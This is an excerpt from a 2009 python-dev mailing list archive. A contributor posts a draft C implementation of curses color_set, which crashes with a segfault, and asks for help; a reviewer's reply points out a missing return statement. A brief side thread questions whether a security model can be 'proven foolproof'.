> http://mail.python.org/mailman/options/python-dev/jbaker%40zyasoft.com
>



-- 
Jim Baker
[email protected]
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


[Python-Dev] Adding support to curses library

2009-02-24 Thread Heracles

Hello,

I am working on a patch to add to the _cursesmodule.c file of the Python
core libraries.  I figured I would take on one of the implemented functions
to try to get my feet wet contributing to the project.  At any rate, I have
the following function defined in the 2.7.a version updated from SVN this
morning:

- Snippet ---
// Insert new method color_set Steve Owens 2/24/2009
//   The curses library color_set function has the following signature:
//   int color_set(short color_pair_number, void* opts); 
static PyObject *
PyCurses_color_set(PyObject *self, PyObject *args)
{
   short color_pair_number;
   void * opts;
   int erg;

   // These macros ought to be documented in the API docs
   // but they aren't yet.
   PyCursesInitialised
   PyCursesInitialisedColor

   // Per ncurses Man Page: 
   //   The routine color_set sets the current color of the given window to
   // the foreground/background combination described by the
color_pair_number. 
   // The parameter opts is reserved for future use, applications must
supply a 
   // null pointer. 
   switch(PyTuple_Size(args))
   {
   case 1:
   // Dont make them pass a useless null pointer.
   if (!PyArg_ParseTuple(args, "h", &color_pair_number)) return NULL;
   break;
   case 2:
   // Allow them to pass the opts pointer so that when ncurses is later
updated.
   // This method will still work.
   if (!PyArg_ParseTuple(args, "hO&", &color_pair_number, &opts)) return
NULL;   
   break;
   default:
  PyErr_SetString(PyExc_TypeError, "color_set requires 1 or 2 arguments
(color_pair_number[, opts]?)");
  return NULL;
   }

   erg = color_set(color_pair_number, opts); // Debating on forcing null
here.
   
   if (erg == ERR) 
  return PyCursesCheckERR(erg, "color_set");
   else
  PyInt_FromLong((long) 1L); 
}
-End  Snippet ---

I also have the following added in (see last line of the snippet):

- Snippet ---
static PyMethodDef PyCurses_methods[] = {
  {"baudrate",(PyCFunction)PyCurses_baudrate, METH_NOARGS},
  {"beep",(PyCFunction)PyCurses_beep, METH_NOARGS},
  {"can_change_color",(PyCFunction)PyCurses_can_change_color,
METH_NOARGS},
  {"cbreak",  (PyCFunction)PyCurses_cbreak, METH_VARARGS},
  {"color_content",   (PyCFunction)PyCurses_Color_Content,
METH_VARARGS},
  {"color_pair",  (PyCFunction)PyCurses_color_pair, METH_VARARGS},
  {"color_set",   (PyCFunction)PyCurses_color_set, METH_VARARGS},
-End  Snippet ---

The code compiles and installs fine, but when I run the following unit test,
I get a segmentation fault:

- Snippet ---
import unittest, curses
from test import test_support

def testCursesColorSet(stdscrn):
   curses.init_pair(1, curses.COLOR_RED, curses.COLOR_WHITE)
   curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE);
   i = curses.color_set(1, NULL);
   stdscrn.addstr("RED/BLACK (%0)\n".format(i))
   i = curses.color_set(2, NULL);
   stdscrn.print("WHITE/BLUE (%0)\n".format(i))
   i = curses.color_set(0, NULL);
   stdscrn.print("Default (%0)\n".format(i))


def test_main(stdscrn):
   curses.savetty()
   if curses.has_color():
  testCursesColorSet(stdscrn)
   else
  stdscr.addstr( "Test Aborted: Color not supported on this terminal.")


if __name__ == '__main__':
curses.wrapper(test_main)
-End  Snippet ---

It turns out that by commenting out this line in the _cursesmodule.c code,
allows the unit test to run 
obviously reporting the error as expected:

- Snippet ---
//erg = color_set(color_pair_number, opts); // Debating on forcing null
here.
-End  Snippet ---

At any rate I am stuck.  I am still trying to build just a plain C file
which will test the color_set function 
outside of python, but that is another task.

Any suggestions?


-- 
View this message in context: 
http://www.nabble.com/Adding-support-to-curses-library-tp22191916p22191916.html
Sent from the Python - python-dev mailing list archive at Nabble.com.

___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Lie Ryan
On Mon, 23 Feb 2009 23:22:19 +, tav wrote:

> Steve, this isn't death by a 1,000 cuts. What's being put forward here
> is not a specific implementation -- but rather a specific model of
> security (the object capability model) -- which has been proven to be
> foolproof.

Proven? Isn't it impossible to prove something like this? "Nobody ever 
see an alien" is not a proof for "There is no alien". "Nobody have 
thought of a way to break the model" is not a proof for "The model is 
invincible"...

___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-24 Thread Steve Holden
Lie Ryan wrote:
> On Mon, 23 Feb 2009 23:22:19 +, tav wrote:
> 
>> Steve, this isn't death by a 1,000 cuts. What's being put forward here
>> is not a specific implementation -- but rather a specific model of
>> security (the object capability model) -- which has been proven to be
>> foolproof.
> 
> Proven? Isn't it impossible to prove something like this? "Nobody ever 
> see an alien" is not a proof for "There is no alien". "Nobody have 
> thought of a way to break the model" is not a proof for "The model is 
> invincible"...
> 
Quite.

regards
 Steve
-- 
Steve Holden+1 571 484 6266   +1 800 494 3119
Holden Web LLC  http://www.holdenweb.com/

___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com


Re: [Python-Dev] Adding support to curses library

2009-02-24 Thread Neal Norwitz
On Tue, Feb 24, 2009 at 2:18 PM, Heracles
 wrote:
>
> Hello,
>
> I am working on a patch to add to the _cursesmodule.c file of the Python
> core libraries.  I figured I would take on one of the implemented functions
> to try to get my feet wet contributing to the project.  At any rate, I have
> the following function defined in the 2.7.a version updated from SVN this
> morning:

I'm glad you are interested in developing Python.  I'm not sure if
this is the best forum.  OTOH, I'm not sure if comp.lang.python would
be appropriate either.

I'd suggest making a proper patch and submitting it to http://bugs.python.org

> - Snippet ---
> // Insert new method color_set Steve Owens 2/24/2009
> //   The curses library color_set function has the following signature:
> //       int color_set(short color_pair_number, void* opts);
> static PyObject *
> PyCurses_color_set(PyObject *self, PyObject *args)
> {
>   short color_pair_number;
>   void * opts;
>   int erg;
>
>   // These macros ought to be documented in the API docs
>   // but they aren't yet.
>   PyCursesInitialised
>   PyCursesInitialisedColor
>
>   // Per ncurses Man Page:
>   //   The routine color_set sets the current color of the given window to
>   // the foreground/background combination described by the
> color_pair_number.
>   // The parameter opts is reserved for future use, applications must
> supply a
>   // null pointer.
>   switch(PyTuple_Size(args))
>   {
>   case 1:
>           // Dont make them pass a useless null pointer.
>           if (!PyArg_ParseTuple(args, "h", &color_pair_number)) return NULL;
>           break;
>   case 2:
>           // Allow them to pass the opts pointer so that when ncurses is later
> updated.
>           // This method will still work.
>           if (!PyArg_ParseTuple(args, "hO&", &color_pair_number, &opts)) 
> return
> NULL;
>           break;
>   default:
>      PyErr_SetString(PyExc_TypeError, "color_set requires 1 or 2 arguments
> (color_pair_number[, opts]?)");
>          return NULL;
>   }
>
>   erg = color_set(color_pair_number, opts); // Debating on forcing null
> here.
>
>   if (erg == ERR)
>          return PyCursesCheckERR(erg, "color_set");
>   else
>      PyInt_FromLong((long) 1L);

I did a cursory review of the patch and if this is the exact code,
this is a problem.  You are missing a return statement.  The compiler
should have issued a warning for this too.

> }
> -End  Snippet ---
>
> I also have the following added in (see last line of the snippet):
>
> - Snippet ---
> static PyMethodDef PyCurses_methods[] = {
>  {"baudrate",            (PyCFunction)PyCurses_baudrate, METH_NOARGS},
>  {"beep",                (PyCFunction)PyCurses_beep, METH_NOARGS},
>  {"can_change_color",    (PyCFunction)PyCurses_can_change_color,
> METH_NOARGS},
>  {"cbreak",              (PyCFunction)PyCurses_cbreak, METH_VARARGS},
>  {"color_content",       (PyCFunction)PyCurses_Color_Content,
> METH_VARARGS},
>  {"color_pair",          (PyCFunction)PyCurses_color_pair, METH_VARARGS},
>  {"color_set",           (PyCFunction)PyCurses_color_set, METH_VARARGS},
> -End  Snippet ---
>
> The code compiles and installs fine, but when I run the following unit test,
> I get a segmentation fault:
>
> - Snippet ---
> import unittest, curses
> from test import test_support
>
> def testCursesColorSet(stdscrn):
>   curses.init_pair(1, curses.COLOR_RED, curses.COLOR_WHITE)
>   curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE);
>   i = curses.color_set(1, NULL);
>   stdscrn.addstr("RED/BLACK (%0)\n".format(i))
>   i = curses.color_set(2, NULL);
>   stdscrn.print("WHITE/BLUE (%0)\n".format(i))
>   i = curses.color_set(0, NULL);
>   stdscrn.print("Default (%0)\n".format(i))
>
>
> def test_main(stdscrn):
>   curses.savetty()
>   if curses.has_color():
>      testCursesColorSet(stdscrn)
>   else
>      stdscr.addstr( "Test Aborted: Color not supported on this terminal.")
>
>
> if __name__ == '__main__':
>    curses.wrapper(test_main)
> -End  Snippet ---
>
> It turns out that by commenting out this line in the _cursesmodule.c code,
> allows the unit test to run
> obviously reporting the error as expected:
>
> - Snippet ---
> //erg = color_set(color_pair_number, opts); // Debating on forcing null
> here.
> -End  Snippet ---
>
> At any rate I am stuck.  I am still trying to build just a plain C file
> which will test the color_set function
> outside of python, but that is another task.
>
> Any suggestions?

Beyond what I said above, typically you need to go the next step.
Fire up a debugger and determine exactly where and why it's crashing.

Good luck!

n
___
Python-Dev mailing list
[email protected]
http://mai